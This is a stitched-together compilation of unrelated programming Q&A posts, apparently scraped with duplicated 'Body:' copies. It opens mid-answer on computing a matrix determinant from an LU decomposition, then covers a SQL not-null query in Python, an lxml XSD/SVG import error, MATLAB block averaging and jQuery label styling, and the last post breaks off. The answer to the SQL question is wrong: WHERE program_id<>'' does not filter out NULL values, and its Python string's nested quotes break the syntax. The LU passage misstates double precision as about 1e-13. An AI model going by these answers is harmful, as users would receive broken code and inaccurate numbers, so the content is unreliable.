L is a lower triangular matrix featuring unit diagonal elements which are not stored. Hence, its determinant is always 1.

P is a permutation matrix coded as a product of transpositions( i.e. 2-cycles or swap) . Indeed, see dgetri() to understand how it is used. Hence, its determinant is either 1 or -1, depending on whether the number of transpositions is even or odd. As a result, the determinant of P can be computed as:

int j;
double detp=1.;
for( j=0;j<n;j++){
    if(j+1!=ipiv[j]){
        // j+1 : following feedback of ead : ipiv is from Fortran, hence starts at 1.
        // hey ! This is a transpose !
        detp=-detp;
    }
}

The complexity of this method is dominated by the cost of the Gaussian elimination using partial pivoting, that is O(2/3n^3).

You will likely turn to full pivoting using dgetc2() or QR decomposition to improve the accuracy. As signaled in Algebraic and Numerical Techniques for the Computation of Matrix Determinants by Pan et. al., combining equation 4.8, 4.9 and proposition 4.1, the final error on the determinant likely scales like ed=(a+eps*a*n^4)^{n-1}*eps*an^5=a^n*(1+eps*n^4)^{n-1}*n^5*eps where eps is the precision of double (about 1e-13), a is the largest magnitude of all elements in matrix A and n is the size of the matrix. It means that the computed determinant is not very significant for "large" matrices: see tables, it particular the relative error as PLU decomposition is used! The article also provides an algorithm to track the propagation of error and produce a better estimate of the error.

You can also try the Faddeev–Le Verrier algorithm...


问:
How to check a data that is not null in a database
I need some help with my python code. I want to find the column called program_id in a database as I want to check if they don't have the null data so I can select and fetch the data I want for each channel.

When I try this:

```<code>for index in range(0, CHANNELS_PER_PAGE):
    channel = channels_list[index]
    channel_index = index

    #get the programs list
    cur.execute('SELECT title, start_date, stop_date, program_id FROM programs WHERE program_id!=NULL LIMIT 10')
</code>```

It wont let me to find the program_id data in a database as it will only find the program_id data that is null. I want to find the program_id data in a database that is not null.

Can you please show me an example how I can fetch the program_id data from the database that is not null for per channel?

答:
Give this a shot WHERE program_id<>''

What database engine are you using?

```<code>#get the programs list
    cur.execute('SELECT title, start_date, stop_date, program_id FROM programs WHERE program_id<>'' LIMIT 10')
</code>```

Body:
I need some help with my python code. I want to find the column called program_id in a database as I want to check if they don't have the null data so I can select and fetch the data I want for each channel.

When I try this:

for index in range(0, CHANNELS_PER_PAGE):
    channel = channels_list[index]
    channel_index = index

    #get the programs list
    cur.execute('SELECT title, start_date, stop_date, program_id FROM programs WHERE program_id!=NULL LIMIT 10')

It wont let me to find the program_id data in a database as it will only find the program_id data that is null. I want to find the program_id data in a database that is not null.

Can you please show me an example how I can fetch the program_id data from the database that is not null for per channel?

Body:
Give this a shot WHERE program_id<>''

What database engine are you using?

#get the programs list
    cur.execute('SELECT title, start_date, stop_date, program_id FROM programs WHERE program_id<>'' LIMIT 10')


问:
How to extend XSD scheme for supporting SVG?
I try to extend ISOSTS XSD scheme for supporting SVG images tags.
I found XSD scheme for SVG and has put it near ISOSTS.xsd.
Now I try to extend ISOSTS.xsd:

```<code><?xml version="1.0" encoding="utf-8"?>
<xs:schema
        xmlns:xs="http://www.w3.org/2001/XMLSchema"
        xmlns:mml="http://www.w3.org/1998/Math/MathML"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:tbx="urn:iso:std:iso:30042:ed-1"
        xmlns:xlink="http://www.w3.org/1999/xlink"

<!-- my line -->
        xmlns:svg="http://www.w3.org/2000/svg"

        elementFormDefault="qualified">
      <xs:import namespace="http://www.w3.org/1998/Math/MathML"
                 schemaLocation="ncbi-mathml2/mathml2.xsd"/>
      <xs:import namespace="http://www.w3.org/1999/xlink"
                 schemaLocation="xlink.xsd"/>
      <!-- XSD import of namespace http://www.w3.org/2001/XMLSchema-instance suppressed (not necessary) -->
      <xs:import namespace="http://www.w3.org/XML/1998/namespace"
                 schemaLocation="xml.xsd"/>
      <xs:import namespace="urn:iso:std:iso:30042:ed-1"
                 schemaLocation="tbx.xsd"/>

<!-- my line -->
      <xs:import namespace="http://www.w3.org/2000/svg"
                 schemaLocation="SVG.xsd"/>

....
<xs:element name="p">
  <xs:complexType mixed="true">
    <xs:choice minOccurs="0" maxOccurs="unbounded">
<!-- my line -->   <xs:element ref="svg:svg"/>
                   <xs:element ref="email"/>
....
</code>```

But I have error when try to load scheme:

```<code>    from lxml.etree import parse, XMLSchema

    schema_file = open(self._schema_filename)

    schema_doc = parse(schema_file)
    schema_file.close()

    self._xmlschema = XMLSchema(schema_doc)  # Error
</code>```

Error message:

File "src/lxml/xmlschema.pxi", line 87, in lxml.etree.XMLSchema.init (src/lxml/lxml.etree.c:197819)

lxml.etree.XMLSchemaParseError: Element '{http://www.w3.org/2001/XMLSchema}element', attribute 'ref': References from this schema to components in the namespace 'http://www.w3.org/2000/svg' are not allowed, since not indicated by an import statement., line 4664

What is wrong?

答:
I replicated your three modifications (declaring a namespace binding for the SVG namespace, importing the SVG namespace, and referring to the svg:svg element), but got no error from Xerces or Saxon EE.

So it seems to me that you've done everything right.

The error message suggests that your XSD validator is not picking up the import.

If I had to guess (and I suppose I have to, since while you've given a very concise statement of the problem, we don't have a reproducible error), your validator is looking at an interim version of the schema document in which the reference to svg:svg has been added to the content model of p, but the xs:import statement has not yet been added to the beginning of the schema document.

Possibly your Python bytecode is out of date and your Python needs to be recompiled?  (Pure conjecture; I don't know how much schema information lxml generates at compile time and how much it generates at run time.)

Body:
I try to extend ISOSTS XSD scheme for supporting SVG images tags.
I found XSD scheme for SVG and has put it near ISOSTS.xsd.
Now I try to extend ISOSTS.xsd:

<?xml version="1.0" encoding="utf-8"?>
<xs:schema
        xmlns:xs="http://www.w3.org/2001/XMLSchema"
        xmlns:mml="http://www.w3.org/1998/Math/MathML"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:tbx="urn:iso:std:iso:30042:ed-1"
        xmlns:xlink="http://www.w3.org/1999/xlink"

        xmlns:svg="http://www.w3.org/2000/svg"

        elementFormDefault="qualified">
      <xs:import namespace="http://www.w3.org/1998/Math/MathML"
                 schemaLocation="ncbi-mathml2/mathml2.xsd"/>
      <xs:import namespace="http://www.w3.org/1999/xlink"
                 schemaLocation="xlink.xsd"/>

      <xs:import namespace="http://www.w3.org/XML/1998/namespace"
                 schemaLocation="xml.xsd"/>
      <xs:import namespace="urn:iso:std:iso:30042:ed-1"
                 schemaLocation="tbx.xsd"/>

      <xs:import namespace="http://www.w3.org/2000/svg"
                 schemaLocation="SVG.xsd"/>

....
<xs:element name="p">
  <xs:complexType mixed="true">
    <xs:choice minOccurs="0" maxOccurs="unbounded">
   <xs:element ref="svg:svg"/>
                   <xs:element ref="email"/>
....

But I have error when try to load scheme:

    from lxml.etree import parse, XMLSchema

    schema_file = open(self._schema_filename)

    schema_doc = parse(schema_file)
    schema_file.close()

    self._xmlschema = XMLSchema(schema_doc)  # Error

Error message:

File "src/lxml/xmlschema.pxi", line 87, in lxml.etree.XMLSchema.init (src/lxml/lxml.etree.c:197819)

lxml.etree.XMLSchemaParseError: Element '{http://www.w3.org/2001/XMLSchema}element', attribute 'ref': References from this schema to components in the namespace 'http://www.w3.org/2000/svg' are not allowed, since not indicated by an import statement., line 4664

What is wrong?


问:
Average a block in a 3D matrix
I have a 40×40×20 array. I want to average a block of 5 in the 3rd dimension such that my output matrix is 40×40×4.

I tried the following:

```<code>out = zeros(size(data,1), size(data,2), size(data,3)/5);
c = 1;

for i = 1:5:size(data,3)
    out(:,:,c) = nanmean(data(:,:,i:i+5-1),3);
    c = c + 1;
end
</code>```

答:
You can proceed as follows:

Reshape into a 4D array so each block's contents are aligned along the 3rd dimension and different blocks correspond to different 4th-dimension positions;

Average along the 3rd dimension;

Remove the 3rd dimension, which is now a singleton, by permuting it to the end.

Code:

```<code>N = 5;                                                   % block size
out = reshape(data, size(data,1), size(data,2), N, []);  % step 1
out = nanmean(out, 3);                                   % step 2
out = permute(out, [1 2 4 3]);                           % step 3
</code>```

Title: Average a block in a 3D matrix

Body:
I have a 40×40×20 array. I want to average a block of 5 in the 3rd dimension such that my output matrix is 40×40×4.

I tried the following:

out = zeros(size(data,1), size(data,2), size(data,3)/5);
c = 1;

for i = 1:5:size(data,3)
    out(:,:,c) = nanmean(data(:,:,i:i+5-1),3);
    c = c + 1;
end

Body:
You can proceed as follows:

Reshape into a 4D array so each block's contents are aligned along the 3rd dimension and different blocks correspond to different 4th-dimension positions;

Average along the 3rd dimension;

Remove the 3rd dimension, which is now a singleton, by permuting it to the end.

Code:

N = 5;                                                   % block size
out = reshape(data, size(data,1), size(data,2), N, []);  % step 1
out = nanmean(out, 3);                                   % step 2
out = permute(out, [1 2 4 3]);                           % step 3


问:
jQuery - Change class in HTML through Javascript by if/else if
I have a bootstrap validation form which is working perfectly and also changing the inputField colour on error & success.

The problem is, I want to change the text-color and border-color of Label. I have tried various JavaScript code but no one works for me as I am not familiar with javascript.

HTML

```<code><form action="" class="form-horizontal form-bordered storyForm" novalidate>

<div class="form-body">
    <div class="form-group" id="form-group">
        <div class="controls">
            <label class="control-label" id="label" for="email">Email</label>
            <input type="email" id="email" class="form-control" name="email" required data-validation-required-message="This field is required">
        </div>
    </div>
    <div class="form-group" id="form-group">
        <div class="controls">
            <label class="control-label" id="label" for="password">Password</label>
            <input type="password" id="password" class="form-control" name="password" required data-validation-required-message="This field is required">
        </div>
    </div>
</div>

<div class="form-actions">
    <div class="row">
        <div class="col-md-12">
            <div class="row">
                <div class="offset-sm-3 col-md-9">
                    <button type="submit" id="submit" class="btn btn-success"> <i class="fa fa-check"></i> Submit</button>
                    <button type="button" class="btn btn-inverse">Cancel</button>
                </div>
            </div>
        </div>
    </div>
</div>
</code>```

CSS

```<code>form.storyForm label{
  padding: 0px 25px;
  /* background-color: rgba(0,0,0,.15); */
  color: #000;
  border-radius: 4px 4px 0px 0px;
  border: 1px solid rgba(0,0,0,.15);
  border-bottom: 1px solid white !important;
  top: 1px;
  position: relative;
}
form.storyForm label.error{
  padding: 0px 25px;
  /* background-color: rgba(0,0,0,.15); */
  color: #ef5350;
  border-radius: 4px 4px 0px 0px;
  border: 1px solid #ef5350;
  border-bottom: 1px solid white !important;
  top: 1px;
  position: relative;
}
form.storyForm label.validate{
  padding: 0px 25px;
  /* background-color: rgba(0,0,0,.15); */
  color: #26dad2;
  border-radius: 4px 4px 0px 0px;
  border: 1px solid #26dad2;
  border-bottom: 1px solid white !important;
  top: 1px;
  position: relative;
}
</code>```

The javascript code which I'm trying to add/remove the class

```<code><script>
$(document).ready(function() {
    $("#submit").click(function() {
        if ($("#form-group").hasClass("error")) {
            $("#label").addClass("error");
        } else if ($("#form-group").hasClass("validate")) {
            $("#label").removeClass("error");
            $("#label").addClass("validate");
        }
    });
});
</script>
</code>```

I also checked throught class but it was also not working for me

```<code><script>
$(document).ready(function() {
 $("#submit").click(function() {
    if ($(".form-group").hasClass("error")) {
        $(".control-label").addClass("error");
    } else if ($("#form-group").hasClass("validate")) {
        $(".control-label").removeClass("error");
        $(".control-label").addClass("validate");
    }
 });
});
</script>
</code>```

答:
ID selectors will only return the FIRST element with a matching ID on the page when working in javascript. Here's a simple codepen demonstrating this: https://codepen.io/anon/pen/bYoqZP

Your sizzle selectors should definitely not be an ID selector: $('#xxxxxxx'). You should either change $('#label') to just be an element selector: $('label') or select the class $('.control-label').
You also are using an ID selector for form-group which will also only return the first element with that ID, and therefore prevent your click handler from having an effect on the 2nd, 3rd, ... nth form groups.

With your supplied sample, there isn't anything explaining how you are validating your forms, or adding the error classes you are looking up in the first place. So what is happening right now is you are extending the submit button's functionality to submit the form and adjust classes. The problem is, when the form submits nothing will happen as you don't have an action and you don't do anything with your data once the user clicks submit.

If you added an error class to your form groups and clicked submit, you'd see your changed take effect, but you simply need more code for processing your form for any of this to really do anything.

Body:
I have a bootstrap validation form which is working perfectly and also changing the inputField colour on error & success.

The problem is, I want to change the text-color and border-color of Label. I have tried various JavaScript code but no one works for me as I am not familiar with javascript.

HTML

<form action="" class="form-horizontal form-bordered storyForm" novalidate>

            Email
            <input type="email" id="email" class="form-control" name="email" required data-validation-required-message="This field is required">

            Password
            <input type="password" id="password" class="form-control" name="password" required data-validation-required-message="This field is required">

                    <button type="submit" id="submit" class="btn btn-success">  Submit</button>
                    <button type="button" class="btn btn-inverse">Cancel</button>

CSS

form.storyForm label{
  padding: 0px 25px;
  /* background-color: rgba(0,0,0,.15); */
  color: #000;
  border-radius: 4px 4px 0px 0px;
  border: 1px solid rgba(0,0,0,.15);
  border-bottom: 1px solid white !important;
  top: 1px;
  position: relative;
}
form.storyForm label.error{
  padding: 0px 25px;
  /* background-color: rgba(0,0,0,.15); */
  color: #ef5350;
  border-radius: 4px 4px 0px 0px;
  border: 1px solid #ef5350;
  border-bottom: 1px solid white !important;
  top: 1px;
  position: relative;
}
form.storyForm label.validate{
  padding: 0px 25px;
  /* background-color: rgba(0,0,0,.15); */
  color: #26dad2;
  border-radius: 4px 4px 0px 0px;
  border: 1px solid #26dad2;
  border-bottom: 1px solid white !important;
  top: 1px;
  position: relative;
}

The javascript code which I'm trying to add/remove the class

I also checked throught class but it was also not working for me